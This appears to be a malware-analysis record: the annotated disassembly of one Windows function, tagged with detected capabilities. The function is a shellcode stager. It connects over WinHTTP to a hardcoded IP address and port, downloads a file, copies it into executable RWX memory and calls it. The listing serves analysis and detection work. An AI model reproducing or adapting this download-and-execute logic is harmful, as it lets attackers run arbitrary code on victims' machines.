Function at 0x140003160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
push rbp
push rsi
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
nop
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x18], 0
lea rcx, str.WinHTTP_Apache_2.2
xor edx, edx
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x20], 0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0x30], rax
cmp qword [rbp + 0x30], 0
je 0x1400034cd
movabs rax, 0x38332e34352e34
mov qword [rbp - 0x1b], rax
movabs rax, 0x352e3433322e3236
mov qword [rbp - 0x20], rax
lea rsi, [rbp - 0x20]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
inc eax
mov dword [rbp + 0x28], eax
mov r9d, dword [rbp + 0x28]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
xor edx, edx
mov r8, rsi
call rax
mov dword [rbp + 0x2c], eax
movsxd rcx, dword [rbp + 0x2c]
add rcx, rcx
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400068ac
mov qword [rbp], rax
jmp 0x140003237
nop
mov rax, qword [rbp]
mov qword [rbp - 0x10], rax
mov eax, dword [rbp + 0x2c]
mov r10, qword [rbp - 0x10]
mov r9d, dword [rbp + 0x28]
lea r8, [rbp - 0x20]
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], eax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x30]
mov r8d, 0x2766
xor r9d, r9d
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
je 0x1400034bf
movabs rax, 0x6c6d74682e7473
mov qword [rbp - 0x2a], rax
movabs rax, 0x747365745f796d2f
mov qword [rbp - 0x30], rax
lea rsi, [rbp - 0x30]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
inc eax
mov dword [rbp + 0x44], eax
mov r9d, dword [rbp + 0x44]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
xor edx, edx
mov r8, rsi
call rax
mov dword [rbp + 0x10], eax
movsxd rcx, dword [rbp + 0x44]
add rcx, rcx
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400068ac
mov qword [rbp + 8], rax
jmp 0x1400032fa
nop
mov rax, qword [rbp + 8]
mov qword [rbp - 8], rax
mov eax, dword [rbp + 0x10]
mov r10, qword [rbp - 8]
mov r9d, dword [rbp + 0x44]
lea r8, [rbp - 0x30]
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], eax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r8, qword [rbp - 8]
mov rcx, qword [rbp + 0x38]
lea rdx, [0x140009222]
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x1400034b1
nop
mov rcx, qword [rbp + 0x48]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 0
je 0x1400034a3
nop
mov rcx, qword [rbp + 0x48]
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 0
je 0x1400033c5
lea rcx, str.Remote_GET_successful_n
call fcn.140003580
jmp 0x1400033d1
lea rcx, str.Remote_GET_failed_n
call fcn.140003580
nop
mov dword [rbp + 0x50], 0
mov dword [rbp + 0x14], 4
mov rcx, qword [rbp + 0x48]
lea r9, [rbp + 0x50]
lea rax, [rbp + 0x14]
mov edx, 0x20000005
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 0
je 0x1400034a1
nop
mov eax, dword [rbp + 0x50]
add eax, 1
mov edx, eax
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x18], 0
je 0x14000349f
nop
mov r8d, dword [rbp + 0x50]
add r8d, 1
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x48]
lea r9, [rbp + 0x24]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 0
je 0x14000349d
nop
mov eax, dword [rbp + 0x24]
cmp eax, dword [rbp + 0x50]
jne 0x14000349d
nop
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x38], rax
jmp 0x140003475
nop
mov rax, qword [rbp - 0x38]
mov rcx, qword [0x140010008]
call rcx
jmp 0x140003485
jmp 0x14000349b
jmp 0x14000349d
jmp 0x140003499
jmp 0x14000349f
jmp 0x1400034a1
jmp 0x1400034af
lea rcx, str.Failed_to_send_request_n
call fcn.140003580
jmp 0x1400034bd
lea rcx, str.Failed_to_open_request_n
call fcn.140003580
jmp 0x1400034cb
lea rcx, str.Failed_to_connect_server_n
call fcn.140003580
jmp 0x1400034d9
lea rcx, str.Session_creation_failed_n
call fcn.140003580
nop
cmp qword [rbp + 0x48], 0
je 0x1400034ec
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
cmp qword [rbp + 0x38], 0
je 0x1400034ff
nop
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
cmp qword [rbp + 0x30], 0
je 0x140003512
nop
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
add rsp, 0xd8
pop rsi
pop rbp
ret